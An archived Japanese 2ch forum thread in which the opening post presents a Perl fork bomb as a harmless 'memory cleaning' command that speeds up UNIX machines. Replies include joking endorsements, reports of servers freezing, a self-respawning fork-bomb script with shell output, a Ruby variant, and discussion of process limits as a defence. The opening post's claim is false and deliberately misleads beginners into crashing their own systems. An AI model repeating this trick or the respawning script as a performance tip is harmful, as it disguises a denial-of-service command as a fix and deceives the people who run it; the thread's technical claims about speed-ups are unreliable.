簡単！メモリクリーニング

1 ：03/06/19 〜 最終レス ：12/02/06

UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、
$ perl -e 'while (1) { fork; }'
とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数％レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。

2 ：

2

3 ：

>>1
自分のPCでは一日一回実行してる。

4 ：

3

5 ：

>>4
ﾌﾟ

6 ：

　　　　　　　　　　　　　　　　＼　│　／
　　　　　　　　　　　　　　　　　／￣＼　　／￣￣￣￣￣￣￣￣￣
　　　　　　　　　　　　　　　─（ ﾟ ∀ ﾟ ）＜　さいたまさいたま！
　　　　　　　　　　　　　　　　　＼＿／　　＼＿＿＿＿＿＿＿＿＿
　　　　　　　　　　　　　　　　／　│　＼
　　　　　　　　　　　　　　　　　　　 ∩ ∧　∧∩ ／￣￣￣￣￣￣￣￣￣￣
￣￣￣￣￣￣￣￣＼ ∩∧ ∧∩＼（ ﾟ∀ﾟ）＜　さいたまさいたまさいたま！
さいたま〜〜〜〜！ ＞（ ﾟ∀ﾟ ）/ ｜　　　　/　＼＿＿＿＿＿＿＿＿＿＿
＿＿＿＿＿＿＿＿／ ｜　　　 〈　｜　　　｜
　　　　　　　　　　　　　 /　／＼_」　/　／＼」
　　　　　　　　　　　　　 ￣　　　　 / ／
　　　　　　　　　　　　　　　　　　　￣

7 ：

　　　　　　　　　　　　　　　　　　　　　　　　　 ∧＿∧
　　　　　　　　　　　　　　　　　　　　　　　　　（　　 　） >>1
　　　　　　　　　　　　　　　　　　　　　　　 ／／
　　　　　　　　　　　　　　　　　　　　　　／／
　　　　　　　　　　　　　　　　　　　　 ／／
　　　　　　　　　　 　　　　　　　 ／／
　ブンッ／　　∧__∧　　　　　　／／
　 ／／ ／　（　　　´）　　从／／
　（￣￣二⊂ 　　彡⊃　‘　、' ＞ カキーン！！
　 ￣￣　　　ｙ　　人　　 ⊂　⊂　）
　　　　　　ミ（__＿）__）,,　（__（__￣）

8 ：

　　　　　　 「＼　　　　　　 .「＼　
　　　　　　　〉　.>　　　　　　〉　〉
　　　　　　 /　/　　　　　　/　/
　　　　　　/　 | 　 　 　 　/　 |　　
　　　　　 /　 /　　　　　 /　 /　
　　　　　（　 〈　.　　　　/　 /.　
　　　　　 ＼　｀＼　　　|ヽ ｜ >>1
　　　　　　　＼　 ＼　/　　| 　
　　　　　　　　 ヽ　 ｀´　　ﾉ 　　　　
　　　　　　　　　|　　　　/＿_
　　　　　　　　[二二二二二]
　　　　　　　　‖|｜｜ |　|‖
　　　　　　　　｜|｜｜｜|‖
　　　　　　　 　 |｜|　|　|｜|
　　　　　　　　　|｜|｜｜|｜
　　　　　　　　　 ｀ー――´

9 ：

Windows XP だけどうまくいなかいぞ。

10 ：

>>9
UNIX系って書いているだろ。

11 ：

Windows XPってUNIX系OSなんですか？

12 ：

まけた…

13 ：

>>11
なにをもってUNIXとするかによるけど、POSIX準拠がUNIXの基準なら
Windows NT / Windows 2000 / Windows XP はPOSIX準拠だからUNIXと
いえなくもない。。。

14 ：

>>1
あ、ほんとだ、ちょっと早くなったきがする。

15 ：

>>13
XPはPOSIXサブシステム外してあるんでなかったっけ？

16 ：

みてね、だよ〜♪
http://www1.free-city.net/home/kotarou/page002.html

17 ：

>>1
名前がまちがってるぞ。
「CompJapan」にしろ。

18 ：

>>1
へｴー、、、メモリってそんなコマンド１つでクリーニングできるとは・・・
今、サーバにアクセスできないからさっそく明日ためしてみよう。

19 ：

あぼーん

20 ：

なぜクリーニングできるんだ？
負荷かけるから？

21 ：

いわゆる一つの錆落しですね？

22 ：

で、これからどうする？ >>1

23 ：

VMがなOSは大変だな

24 ：

　　　　　　　　／￣￣￣￣￣￣￣￣￣￣￣￣￣
　 Λ＿Λ　　|　 オラオラ、
　（　・∀・）＜ 　　精神異常者は消えろ！
　（　　　　）　 ＼＿＿＿＿＿＿＿＿＿＿＿＿＿
　｜　| ＼ ＼ ｸﾞﾘｸﾞﾘ
　（＿_） 　(＿_）
　　　　　 (´Д｀）ノ ←>>1

25 ：

>>13
POSIX準拠なのは2k / NTだけ。

26 ：

あぼーん

27 ：

>>1 THX 目から鱗でつ

28 ：

UNIX初心者です。厨な質問で悪いのですが、
perl:command not found
と表示されてしまいます。
ＯＳはＴｕｒｂｏ　Ｌｉｎｕｘ８です。
300MHzのパソコンで使っていて重いので、ぜひメモリーを掃除したいです。
どうかご教示ください

29 ：

perl:command not found
というのはメモリーが掃除されたといういみなのでしょうか？

30 ：

ところで、こういうアホに
　perl -e 'while(1){ fork() && exit }'
てなプログラムを動かされたとして、これをkillする方法ってある？

31 ：

perlをkillするプログラムを書き、それをforkしまくる

32 ：

マッチポンプだな(w

33 ：

すげー！
>>1はスーパーハカー！？

34 ：

こんちやっす
自宅サーバーをひそかに内緒でやってたj-comからyahoobbに移したのですが
セキュリティーホールが心配で・・・
せきゅれちーホールありますか？
http://www.musumefan.no-ip.com

35 ：

すまそん
いた間違えますた

36 ：

root 権限ならともかく、普通はリソース制限掛けるでしょ。
掛かってない鯖はクソ。

37 ：

　 ∧＿∧　　　／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　（`･ω･´)　＜　復活シャキーン！
　（つ旦と）　　 ＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　と＿）＿）

38 ：

　　　　　　　　ｼｮﾎﾞｰﾝワッショイ！！
　　　　　＼＼　 ｼｮﾎﾞｰﾝワッショイ！！　／／
　+　　　+　＼＼　ｼｮﾎﾞｰﾝワッショイ！！／+
　　　　　　　　　　　　　　　　　　　　　　　　　　　　+
.　　　+　　 ∧＿∧　∧＿∧ ∧＿∧　　+
　　　　　　（´ﾟω･∩（ﾟω･∩）（´　･ωﾟ）
　+　　（(　（つ　　　ノ（つ　　丿（つ　　つ　)）　　+
　　　　　　 ヽ　 （　ノ　（　ヽノ　　）　）　）
　　　　　　　（＿）し'　し（＿）　（＿）＿）

39 ：

　　　　　　　　　 　./◎）
　　　　　　　　　　/　　||　
　　　　　　　　　 /　　 ||　ｼﾆﾀｸﾅｲﾖ･････
　　　　 　 　 　 /　　　|∧＿∧
　ｼｮﾎﾞｰﾝ　　 /　　　　(:.;ﾟ;ω;ﾟ;.:)
　　　∧＿∧.ｎ　　　　/~~~~~ﾉJ
　　 (　´･ω･｀)ﾉ　　　 Oﾉ ﾉ ﾉ
　　 （　　　　）　　　 　 .し' Ｊ
　　　|　 | 　 |　　　　　　ﾟ。
　　 （＿_）＿）　　　　　゜
　　　　　　　　　　　　　。ﾟ

40 ：

あぼーん

41 ：

>>1
なんた、自慢か！？
鯖のcronに加えさせてもらったからな、ふさけるんしゃねぇそ！

42 ：

どうなってんだよ〜赤帽8でやったら2日間そのままOut of memory: killed process **** (ABCD)
になっちまったぞ！どう止める？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？・

43 ：

あぼーん

44 ：

　　　　　　　　自作自演楽しいか？

45 ：

ところでさ。
いまどき>>1でこけるシステムあるの？

46 ：

linuxは弱い。ほぼ死ぬ。

47 ：

limitで制限かけりゃなんとかなるけど
大抵そんなことしないからなぁ

48 ：

copy on writeで実装しているシステムでは絶対大丈夫な解は存在しなかったはず。
solarisは強いと言われているけど、それでも保証できないんじゃないかな？
・・・でもforkだけだとメモリ確保しないから落ちないと思ってたんだけど。
forkしてメモリ確保しておいて、後でおもむろに書き込みとかするとヤバイって思ってた。

49 ：

以下>1のように以外に知られていないが、
役に立つコマンドなどを書き込むｽﾚになりました。

50 ：

>>46
ｷﾀｰ

51 ：

やってみたけど、新規にアプリを起動できなくなるだけみたいだけど。
これが「死ぬ」って状態なの？
元々立ち上げてたMozillaは特に問題ないし。2chに書き込める。

52 ：

新しくアプリを起動できないのは
最大プロセス数の問題かな。
メモリ食い潰しでもしないかぎりは
Linuxでさえ、落ちたりはしないだろ。
メモリを食い潰し(swapも)てもなお確保しようとような自体になれば
他のOSでもやばいっしょ。

53 ：

ってことは>>46の死んだってのは嘘かよ

54 ：

>>53
死なないだろ。
つか、死なない。
いちおう試してみた。
Linux 2.4.20 (Gentoo)
Pentium2 233Mhz
mem 128MB
>>46は8年間 コールドスリープしてたんじゃないのか？

55 ：

実際、fork するだけなら死なないだろ。
死んだらあまりにもアホ。そんな OS はバカにしていい。
>>48
んなこたぁないだろ。
オーバーコミットしないようにチェックを厳しくすりゃいいだけだろ。

56 ：

近頃のOS/マシンはそうそう落ちないだろうが、CPUやバスが貧弱、
メモリも少ない昔のマシンは簡単に落ちた。pingにさえまともに
応答しなくなって、やむなくStop+A。

57 ：

windowsのﾒﾓﾘｸﾘﾅ-（blueback ⇒ 再起動)に勝てるﾒﾓﾘｸﾘﾅ-は無い

58 ：

あぼーん

59 ：

>>56
しかし、そうするとファイルシステムまで
吹き飛ぶ罠。

60 ：

ウチのレガッタは落ちませんでした。
落ちたらそいつ自身のダンプを取ってやろうとか
思ったんだけどね。
まぁぎりぎりで縮退かかるだけかな…

61 ：

1のスクリプトだと固まるには固まるが CTRL+C で脱出できる。
下のやつだと
sh: fork: リソースが一時的に利用できません
/usr/bin/nohup: fork: リソースが一時的に利用できません
sh: fork: リソースが一時的に利用できません
と流れるもののコンソールのもう片方では以下のコマンドが普通にうごく始末。
[root@g /root]# cat test.pl
#!/usr/bin/perl
while(1){
if( ! fork ){
system(" nohup perl ./test.pl & ");
}
}
[root@g /root]# ps ax | wc
2089 12527 83984
[root@g /root]# uname -ar
Linux g.privnet 2.2.18-0vl4.2my #1 2002年 7月 7日(日) 23時32分59秒 JST i686 unknown
[root@g /root]# cat /proc/cpuinfo | grep model
model : 8
model name : Pentium III (Coppermine)
[root@g /root]# cat /proc/cpuinfo | grep MHz
cpu MHz : 847.192
[root@g /root]# ps ax | wc
2089 12527 83984
なーにが Regatta だよ

62 ：

あぼーん

63 ：

for i in `ps ax | grep perl | cut -f1 -d" " `
復旧〜

64 ：

>>63
それも途中でコケそう。プロセスいっぱい使うし。
rootでnice値をマイナスにすれば大丈夫か・・・
レガッタってAIXだろ？

65 ：

>>64
CPU16個で5%ほど1つのAIXに割り当てて
fork!fork!fork!
でもやっぱ大した事無かったでつよ。

66 ：

>>64
いけましたぜ旦那
要は去年の犬糞カーネルでも痛くも痒くもねえって事
それをわざわざ Regatta でやりますかね
メモリー食いつぶすかファイルをひたすらオープンし続けるか
起動しないプロセスを終了しないプロセスが待ち続けつつ増殖するとか

67 ：

ためしにやってみました
P55C　200MHz
RedHat8.0　kernel2.4.20-18.8
MEM 128MB
Apache2.0が作動しなくなって
SSHでの接続も出来なくなりました
その後　PPPoEも停止
結局は落ちたも同然の状況
カーソル画面でrootログインを使用とするがPasswd:の返事もない
うーむ、もしかしてLinuxってだめぽ？
それとも漏れの鯖が非力なだけ？

68 ：

> うーむ、もしかしてLinuxってだめぽ？
そうだね。乗り換えたほうが良いよ。
他に選択肢があれば、ね。

69 ：

forkに負けない
スケジュール優先度の高い専用アカウントを作っておく、とか。

70 ：

67でつが
次回はFreeBSDでも入れて試してみます〜

71 ：

>>70
だから新しいプロセスが出せないんだって。
limit でもしてなきゃ同じだよ。

72 ：

login.conf とかでかなり制限かけないと、
FreeBSDの初期 kern.maxfiles と kern.maxfilesperproc （maxusersで変動）が
思ったよりも近い値になるので、すぐにファイルディスクリプタを使い切りますね。
fork() && socket()ループするとすぐいっぱいになる。

73 ：

これだろ
http://purejp.com

74 ：

RedHat9で死んだよ
Xeon2.66GHz 512M rootで実行

75 ：

おれもやってみたけど、
Linuxだと簡単に死ぬ。

76 ：

犬は死ぬ！
必ず死ぬ！
絶対死ぬ！

77 ：

>>74-76
( ´,_ゝ`)ﾌﾟｯ

78 ：

Windows2kだと死なない
>perl -e "while (1) { fork; }"
The Unsupported function fork function is unimplemented at -e line 1.
とても安全だ

79 ：

Windows最強説浮上

80 ：

漏れのunixも安全ﾀﾞﾀｰﾖ
>% perl -e "while (1) { fork; }"
>perl: Command not found.

81 ：

[sato@alpha sato]$ ulimit -Ha
core file size (blocks) unlimited
data seg size (kbytes) unlimited
file size (blocks) unlimited
max memory size (kbytes) 3200
stack size (kbytes) 6800
cpu time (seconds) 120
max user processes 2048
pipe size (512 bytes) 8
open files 1024
virtual memory (kbytes) 2103951
Linux . 効果なし。だめぽ〜

82 ：

*BSDで試した人いないの？

83 ：

>>82
FreeBSD 4.8-STABLE で試した。
何か起動しようとすると、
No more processes.
が出て起動できないが、他は異常なし。
あと、カーネルがこのメッセージを吐いていた。
pmap_collect: collecting pv entries -- suggest increasing PMAP_SHPGPERPROC

84 ：

Linuxとかって子プロセスの数の制限ってかけられないの？

85 ：

>>82
OpenBSD 3.0 だけど、100 コ以上プロセス起動されたらかなり重くなるけど。
/etc/login.conf でデフォルト maxproc-max=128 の制限があるので落ちることはなかったけど。

86 ：

落ちるのはOSということだな

87 ：

Linux
Linux
Linux
Linux
Linux
Linux
Linux
Linux
Linux
Linux
Linux

88 ：

→ Linux
　↑　　　　↓
Linux ←

89 ：

よくわからんな。Linuxでも大丈夫という報告もあるし。
だいたい、死ぬってどういう状態なのかがわからん。
プロセス起動できずにログイン失敗は仕方無い。
ほんとにkernelが固まるのかねえ？

90 ：

>>89
さあ。
うちのはvanillaの2.4.21だけどなんともないけどねぇ。
新しくアプリを起動できなくなるだけ。
ディストロ依存じゃねーの？

91 ：

これ最強。
$ ruby -e '(1..10).each{ fork }'

92 ：

( ´,_ゝ`)ﾌﾟﾌﾟｯ
Linuxってじゃん

93 ：

リナックス説浮上

94 ：

FreeBSD 5.1R生存。
実験環境: Pen4 1.7GHz(HT off),Mem 1.2GB
実験経過:
perl -e 'while(1){fork();}'実行直後、maxprocperuidで指定された分を使い果たすまでは
マウスを動かすのでさえ異常に緩慢な動きになる。
しかしながら、使い果たしてからは新しくプロセスを作れないほかは何事も無かったかの
ように動作した。
別のterminalからexec killall perlを実行すると再び若干動作が緩慢になるが、
perlがすべてkillされた時点で通常の動きにすべて回復した。
4.8Rは出ているようなので今度NetBSDでやってみよう。

95 ：

>>90
別に犬の方を持つわけではないが、
停止したと**思って**何秒たったらfreezeとみなすかはかなり個人差があると思われるな。
もれは30分放置して操作不能なら死んだと解釈するが。

96 ：

>>95
目の前の不全PCと睨めっこ３０分とは気が長いですね。
俺はせいぜい３分ですがね。
まあ、運用で一晩気づかない事はあるだろうけど。

97 ：

犬房は気が長い（＝不感症）説浮上

98 ：

>>95
別に固まりもしないんだが。
実行したときにスワップしてカクカクするぐらい。
ってか「死ぬ」っていうのはどういう状態なのよ > 使ってる香具師

99 ：

あぼーん

100read 1read

1read 100read

TOP カテ一覧 スレ一覧 2ch元 削除依頼 ▲

はたしてこの板を見てる女はいるのか？ (333)
デートを秋葉原でするツワモノの数→ (544)
VM Wareってどうですか? (648)
【日本語】M+ フォント【フリー】 part6 (295)
[test] 書きこみテスト 専用スレッド 11 [ﾃｽﾄ] (294)
【NFS】Network File System (967)
--log9.info------------------
　lll初代llll　　　始皇帝　　　lll皇帝lll　 (208)
また騙されて中国英雄板まで飛ばされたわけだが (899)
ぬるぽで1時間以内にｶﾞｯされなければ天下人 27 (553)
こんな徳川家康は嫌だ (925)
もしも小大名だったら、、、【和気藹々１】 (994)
真田幸隆・昌幸・信繁・信幸を語るスレ ４ (246)
【徳川家 総合】　徳川家康公スレ　その１４ (638)
戦国ちょっといい話30 (865)
織田信長は過大評価されすぎ10 (523)
新一行リレー戦国小説 巻之十三 (423)
日本刀 (810)
【海道一の弓取り】今川義元、北条氏康に圧勝 (298)
奥州仙台おもてなし集団【伊達武将隊】七 (645)
【冬】大坂の陣総合スレッド【夏】 (796)
【内定】　戦国時代の就職活動　２【面接】 (693)
女ヲタが多い戦国武将 (471)
--log55.com------------------
しりとりしようか。ひとりじゃ寂しいな。どう？
お前ら文学読んでるか！文学！！
大分県のバンドpart7-2
クビにした側の言い分
好きなバンド3つかぶったら死亡
ギターウルフ
THE MUSMUS(ex UPLIFT SPICE)
■暴走する俺のバンド仲間にどう対処すれば良い？■